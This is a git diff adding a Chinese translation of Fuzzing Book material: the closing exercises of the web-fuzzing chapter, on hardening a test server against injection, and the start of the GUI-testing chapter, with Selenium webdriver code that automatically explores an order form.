+*   因此，对输入的进行清除*可以防止常见的攻击，例如代码和SQL注入。*
+*   不要尝试自己编写Web服务器，因为您可能会重复别人的所有错误。
+
+我们完成了，所以我们可以清理：
+
+```py
+clear_httpd_messages()
+
+```
+
+```py
+httpd_process.terminate()
+
+```
+
+## 后续步骤
+
+从这里开始，下一步是 [GUI Fuzzing](GUIFuzzer.html) ，从基于HTML和Web的用户界面到通用用户界面（包括JavaScript和移动用户界面）。
+
+如果您对安全测试感兴趣，请不要错过关于信息流的[一章，该章展示了如何系统地检测信息泄漏。 这也解决了SQL注入攻击的问题。](InformationFlow.html)
+
+## 背景
+
+Web应用程序安全性的 [Wikipedia页面是任何构建，维护或测试Web应用程序的人员的必读材料。 如本章所述，2012年，跨站点脚本和SQL注入构成了Web应用程序漏洞的50％以上。](https://en.wikipedia.org/wiki/Web_application_security)
+
+关于渗透测试的 [Wikipedia页面提供了渗透测试历史以及漏洞集合的全面概述。](https://en.wikipedia.org/wiki/Penetration_test)
+
+[OWASP Zed攻击代理项目](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project)（ZAP）是一个开放源代码的网站安全扫描程序，包括上面讨论的几个功能，以及更多其他功能。
+
+## 练习
+
+### 练习1：修复服务器
+
+创建一个`BetterHTTPRequestHandler`类来解决`SimpleHTTPRequestHandler`的几个问题：
+
+#### 第1部分：静默故障
+
+设置服务器，使其不泄露内部信息，尤其是回溯和HTTP状态代码。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：经过清理的HTML
+
+设置服务器，使其不易受到HTML和JavaScript注入攻击，特别是通过使用`html.escape()`之类的方法在显示特殊字符时将其转义。
+
+```py
+import [html](https://docs.python.org/3/library/html.html)
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第3部分：清理过的SQL
+
+设置服务器，使其不易受到SQL注入攻击的攻击，特别是通过使用 *SQL参数替换。*
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第4部分：健壮的服务器
+
+设置服务器，使其不会因无效或缺少字段而崩溃。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第5部分：测试！
+
+测试您改进的服务器，您的措施是否成功。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：保护服务器
+
+假设您无法更改服务器代码。 创建一个*过滤器*，该过滤器将在所有URL上运行，然后将它们传递给服务器。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第1部分：黑名单过滤器
+
+设置过滤器函数`blacklist(url)`，该函数为不应到达服务器的URL返回`False`。 检查URL是否包含HTML，JavaScript或SQL片段。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：白名单过滤器
+
+设置过滤器函数`whitelist(url)`，该函数为允许访问服务器的URL返回`True`。 检查URL是否符合期望； 为此，请使用[解析器](Parser.html)和专用语法。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习3：输入模式
+
+要填写表单，模糊器可能会更聪明地生成输入值。 从HTML 5开始，输入字段可以具有`pattern`属性，该属性定义输入值必须满足的*正则表达式*。 例如，可以通过模式定义5位邮政编码
+
+```py
+<input type="text" pattern="[0-9][0-9][0-9][0-9][0-9]">
+
+```
+
+从HTML页面提取此类模式，并将其转换为等效的语法生成规则，确保仅生成满足模式的输入。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习4：覆盖率驱动的Web模糊测试
+
+将上述模糊器与[覆盖范围驱动的](GrammarCoverageFuzzer.html)和基于[搜索的](SearchBasedFuzzer.html)方法结合使用，以最大化功能和代码覆盖范围。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/34.md b/new/fuzzing-book-zh/34.md
new file mode 100644
index 0000000000000000000000000000000000000000..bb5d57decb6c27eaa12912d8953f66273d8cce22
--- /dev/null
+++ b/new/fuzzing-book-zh/34.md
@@ -0,0 +1,2232 @@
+# 测试图形用户界面
+
+> 原文： [https://www.fuzzingbook.org/html/GUIFuzzer.html](https://www.fuzzingbook.org/html/GUIFuzzer.html)
+
+在本章中，我们从[先前有关Web测试](WebFuzzer.html)的示例中抽象出来，探讨了如何为图形用户界面（GUI）生成测试。 在提取用户界面元素并激活它们的一般方法的基础上，我们的技术可以推广到从富Web应用程序到移动应用程序的任意图形用户界面，并通过表单和导航元素系统地探索用户界面。
+
+**前提条件**
+
+*   我们基于Web测试的[一章中介绍的Web服务器构建。](WebFuzzer.html)
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.GUIFuzzer](GUIFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章演示如何在Web浏览器上使用Selenium与用户界面进行编程交互。 它提供了一个实验性`GUICoverageFuzzer`类，该类通过与所有可用的用户界面元素进行系统性交互来自动探索用户界面。
+
+函数`start_webdriver()`在后台启动无头Web浏览器，并返回 *GUI驱动程序*作为进一步通信的句柄。
+
+```py
+>>> gui_driver = start_webdriver()
+
+```
+
+我们让浏览器打开我们要调查的服务器的URL（在这种情况下，这是[中易受攻击的服务器，有关Web模糊处理](WebFuzzer.html)的章节）并获得屏幕截图。
+
+```py
+>>> gui_driver.get(httpd_url)
+>>> Image(gui_driver.get_screenshot_as_png())
+
+```
+
+!
+
+`GUICoverageFuzzer`类探索用户界面并构建*语法*，该语法对所有状态以及从一种状态转移到另一种状态所需的用户交互进行编码。 它与与GUI驱动程序交互的`GUIRunner`配对。
+
+```py
+>>> gui_fuzzer = GUICoverageFuzzer(gui_driver)
+>>> gui_runner = GUIRunner(gui_driver)
+
+```
+
+`explore_all()`方法从Web用户界面提取所有状态和所有转换。
+
+```py
+>>> gui_fuzzer.explore_all(gui_runner)
+
+```
+
+语法嵌入了有限状态自动化，因此可以最好地可视化。
+
+```py
+>>> fsm_diagram(gui_fuzzer.grammar)
+
+```
+
+!
+
+GUI Fuzzer `fuzz()`方法产生遵循有限状态机路径的交互序列。 由于`GUICoverageFuzzer`源自`CoverageFuzzer`（请参见[关于基于覆盖的语法模糊](GrammarCoverageFuzzer.html)的一章），因此它自动覆盖（a）状态之间的尽可能多的过渡以及（b）尽可能多的形式元素 可能。 在我们的案例中，第一组操作通过“订单表单”链接探索过渡。 然后第二组直到“ <end>”状态。</end>
+
+```py
+>>> gui_driver.get(httpd_url)
+>>> actions = gui_fuzzer.fuzz()
+>>> print(actions)
+click('terms and conditions')
+click('order form')
+fill('zip', '439')
+fill('name', 'l')
+fill('city', 'm')
+check('terms', False)
+fill('email', 'A@Ivks')
+submit('submit')
+click('order form')
+fill('zip', '8')
+fill('name', 'p')
+fill('city', 'z')
+check('terms', False)
+fill('email', 'x@a')
+submit('submit')
+
+```
+
+这些动作可以输入到GUI运行器中，GUI运行器将在给定的GUI驱动程序上执行它们。
+
+```py
+>>> gui_driver.get(httpd_url)
+>>> result, outcome = gui_runner.run(actions)
+>>> Image(gui_driver.get_screenshot_as_png())
+
+```
+
+!
+
+`fuzz()`的进一步调用将进一步覆盖该模型-例如，探索条款和条件。
+
+诸如`GUICoverageFuzzer`之类的工具将提供对用户界面的“深度”浏览，甚至填写表格以探索其背后的内容。 不过请记住，`GUICoverageFuzzer`是实验性的：它仅支持HTML表单和链接功能的子集，并且不考虑JavaScript。
+
+## 自动化的GUI交互
+
+在有关Web测试的[一章中，我们展示了如何通过使用HTTP协议与Web服务器直接交互以及处理检索到的HTML页面以识别用户界面元素来测试基于Web的界面。 尽管这些技术仅适用于基于HTML的用户界面，但它们一旦在使用JavaScript在浏览器中执行代码，生成和更改用户界面而无需与浏览器进行交互的交互式元素时立即失效。](WebFuzzer.html)
+
+因此，在本章中，我们将采用不同的方法进行用户界面测试。 我们没有使用HTTP和HTML作为交互机制，而是利用了专用的 *UI测试框架*，它使我们能够
+
+*   向被测程序查询可用的用户界面元素，以及
+*   查询UI元素以了解如何进行交互。
+
+尽管我们将再次使用Web服务器来说明我们的方法，但是该方法很容易推广到*任意用户界面*。 实际上，我们使用的UI测试框架 *Selenium* 也具有可在Android应用程序上运行的变体。
+
+### 我们的Web服务器，再次
+
+就像在有关Web测试的[一章中一样，我们运行一个允许订购产品的Web服务器。](WebFuzzer.html)
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [WebFuzzer](WebFuzzer.html) import init_db, start_httpd, webbrowser, print_httpd_messages, print_url, ORDERS_DB
+
+```
+
+```py
+import [html](https://docs.python.org/3/library/html.html)
+
+```
+
+```py
+db = init_db()
+
+```
+
+这是我们的Web服务器的地址：
+
+```py
+httpd_process, httpd_url = start_httpd()
+print_url(httpd_url)
+
+```
+
+```py
+http://127.0.0.1:8800
+```
+
+使用`webbrowser()`，我们可以检索主页的HTML，然后使用`HTML()`进行呈现。
+
+```py
+from [IPython.display](https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html) import display, Image
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import HTML, rich_output
+
+```
+
+```py
+HTML(webbrowser(httpd_url))
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:19:45] "GET / HTTP/1.1" 200 -
+
+```
+
+<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">**Fuzzingbook Swag Order Form**
+
+是! 请尽快给我发送邮件 <select name="item"><option value="tshirt">一件FuzzingBook T恤</option> <option value="drill">一件FuzzingBook旋转锤</option> <option value="lockset">一件FuzzingBook锁具</option></select>
+
+| <label for="name">名称：</label> <input name="name" type="text"> | <label for="email">电子邮件：</label> <input name="email" type="email">
+ |
+| <label for="city">城市：</label> <input name="city" type="text"> | <label for="zip">邮政编码：</label> <input name="zip" type="number"> |
+
+<input name="terms" type="checkbox"><label for="terms">I have read the [terms and conditions](/terms)</label>.
+<input name="submit" type="submit" value="Place order"></form>
+
+### 用硒[进行远程控制](#Remote-Control-with-Selenium)
+
+让我们看一下上面的GUI。 与Web测试的[章节相反，我们不认为可以访问当前页面的HTML源代码。 我们仅假设存在一组可以与之交互的*用户界面元素*。](WebFuzzer.html)
+
+[Selenium](https://www.seleniumhq.org) 是用于通过*自动在浏览器*中进行交互来测试Web应用程序的框架。 Selenium提供了一种API，该API允许启动Web浏览器，查询用户界面的状态以及与各个用户界面元素进行交互。 Selenium API支持多种语言。 我们将 [Selenium API用于Python](https://selenium-python.readthedocs.io/index.html) 。
+
+Selenium *Web驱动程序*是程序与该程序控制的浏览器之间的接口。
+
+```py
+from [selenium](https://selenium-python.readthedocs.io/) import webdriver
+
+```
+
+以下代码在后台启动Firefox浏览器，然后我们通过Web驱动程序对其进行控制。
+
+```py
+BROWSER = 'firefox'
+
+```
+
+**注意：**如果您没有安装Firefox，也可以将`BROWSER`设置为`'chrome'`以改用Google Chrome。
+
+```py
+# BROWSER = 'chrome'
+
+```
+
+浏览器是*无头*，这意味着它不会显示在屏幕上。
+
+```py
+HEADLESS = True
+
+```
+
+**注意**：如果笔记本服务器在本地运行（即，您在同一台计算机上运行），还可以将`HEADLESS`设置为`False`，然后在执行时在屏幕上看到发生的情况 笔记本电池。 强烈建议在交互式会话中使用此方法。
+
+```py
+def start_webdriver(browser=BROWSER, headless=HEADLESS, zoom=1.4):
+    if browser == 'firefox':
+        options = webdriver.FirefoxOptions()
+    if browser == 'chrome':
+        options = webdriver.ChromeOptions()
+
+    if headless and browser == 'chrome':
+        options.add_argument('headless')
+    else:
+        options.headless = headless
+
+    # Start the browser, and obtain a _web driver_ object such that we can interact with it.
+    if browser == 'firefox':
+        # For firefox, set a higher resolution for our screenshots
+        profile = webdriver.firefox.firefox_profile.FirefoxProfile()
+        profile.set_preference("layout.css.devPixelsPerPx", repr(zoom))
+        gui_driver = webdriver.Firefox(firefox_profile=profile, options=options)
+
+        # We set the window size such that it fits our order form exactly;
+        # this is useful for not wasting too much space when taking screen shots.
+        gui_driver.set_window_size(700, 300)
+
+    elif browser == 'chrome':
+        gui_driver = webdriver.Chrome(options=options)
+        gui_driver.set_window_size(700, 210 if headless else 340)
+
+    return gui_driver
+
+```
+
+```py
+gui_driver = start_webdriver(browser=BROWSER, headless=HEADLESS)
+
+```
+
+现在，我们可以通过编程方式与浏览器进行交互了。 首先，我们将其导航到Web服务器的URL：
+
+```py
+gui_driver.get(httpd_url)
+
+```
+
+我们看到实际上已经访问了主页，并且请求（失败）以获取页面图标：
+
+```py
+print_httpd_messages()
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:19:48] "GET / HTTP/1.1" 200 -
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:19:48] "GET /favicon.ico HTTP/1.1" 404 -
+
+```
+
+要查看“无头”浏览器显示的内容，我们可以获得屏幕截图。 我们看到它实际上显示了主页。
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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